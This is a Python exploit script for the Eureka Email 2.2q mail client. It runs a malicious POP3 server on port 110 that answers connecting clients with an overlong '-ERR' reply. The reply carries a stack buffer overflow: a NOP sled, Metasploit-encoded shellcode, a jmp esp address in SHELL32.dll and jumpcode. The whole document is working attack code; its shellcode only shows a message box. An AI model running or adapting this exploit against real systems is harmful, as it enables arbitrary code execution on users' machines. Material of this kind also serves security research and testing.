Eureka Email 2.2q - "-ERR" Exploit

eureka_email_2_2q_err_exploit.py

import sys, socket, struct
 
# Eureka Email 2.2q - Exploit (non egghunter)
# Version 2.2q - DEP + ASLR disabled
# Tested: Windows XP SP3 - English
# Author: Simon Pinfold
 
 #
 # windows/messagebox - 287 bytes
 # http://www.metasploit.com
 # Encoder: x86/shikata_ga_nai
 # VERBOSE=false, EXITFUNC=process, TITLE=Check, TEXT=Code
 # Execution!, ICON=NO
 # Badchars = '\x00'
 #
payload = ( "\xbb\x5c\x96\xd6\x1f\xd9\xc5\xd9\x74\x24\xf4\x5e\x33\xc9\xb1"
"\x42\x31\x5e\x13\x83\xc6\x04\x03\x5e\x53\x74\x23\xc6\x80\xe3"
"\x15\x8d\x72\xe0\x97\xbc\xc8\x7f\xe9\x89\x48\x0b\x78\x3a\x1b"
"\x7d\x77\xb1\x6d\x9e\x0c\x83\x99\x15\x6c\x2c\x12\x1f\xa9\x63"
"\x3c\x15\x3a\x22\x3d\x04\x43\x34\x5d\x2d\xd0\x93\xb9\xba\x6c"
"\xe0\x4a\xe8\x46\x60\x4d\xfb\x1c\xda\x55\x70\x78\xfb\x64\x6d"
"\x9e\xcf\x2f\xfa\x55\xbb\xae\x12\xa4\x44\x81\x2a\x3b\x16\x65"
"\x6a\xb0\x60\xa4\xa4\x34\x6e\xe1\xd0\xb3\x4b\x91\x02\x14\xd9"
"\x88\xc0\x3e\x05\x4b\x3c\xd8\xce\x47\x89\xae\x8b\x4b\x0c\x5a"
"\xa0\x77\x85\x9d\x5f\xfe\xdd\xb9\x83\x61\x1d\x73\xb3\x48\x75"
"\xfd\x21\x03\xb7\x96\x27\x5d\x36\x8b\x6a\x89\xd9\xac\x74\xb6"
"\x6f\x17\x8f\xf3\x0e\x40\x6d\x70\x68\x6c\x56\x24\x9e\x03\x69"
"\x37\xa1\x95\xd3\xcf\x36\xca\xb7\xef\x87\x7a\x7b\xdd\x29\x1f"
"\x13\x54\x45\xba\x91\x1e\xf5\x60\x5c\x97\xe0\x3f\x9f\xf2\xe8"
"\x36\x9d\xac\x4b\xe0\x80\x01\x10\x76\xd8\xbd\x3a\x91\x80\x42"
"\x45\x9e\x2b\xd7\xe2\x41\x8c\x4f\x50\xea\xa9\xec\x67\x31\xb9"
"\xae\xa3\xc0\x33\xad\xc4\xa5\x2d\x10\x4d\x52\xd1\x27\x19\xcb"
"\x7d\xe7\xa4\x73\x1b\x8f\x65\xeb\x87\x2a\x5b\x3a\xcf\xf8\xbf"
"\xb3\x59\xe1\xf1\x19\x33\xd1\xa2\xcc\x96\xee\x95\xde\xd6\x40"
"\xe9\x74\xdf" )
 
buffer = "\x90" * 32
 
buffer += payload
 
buffer += "A" * (714 - len(buffer))
buffer += struct.pack('<I', 0x7c9d30d7) # jmp esp  [SHELL32.dll]
 
# Jumpcode
buffer += "\x54\x59\xB8\xA9\x13\x11\x11\x35\x11\x11\x11\x11\x2B\xC8\x8B\xE1\xFF\xE4"
# push esp
# pop ecx
# mov eax,111113A9
# xor eax,11111111
# sub ecx,eax           # sub ecx 2B8
# mov esp,ecx
# jmp esp
 
response = ("-ERR " + buffer + "\n")
 
 
try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(('', 110))
        s.listen(1)
        print ("[*] Listening on port 110.")
        conn, addr = s.accept()
        print '[*] Received connection from: ', addr
         
        while 1:
                conn.send(response)
                print ">> Sending response"
 
        conn.close()
except:
        print '[*] Done'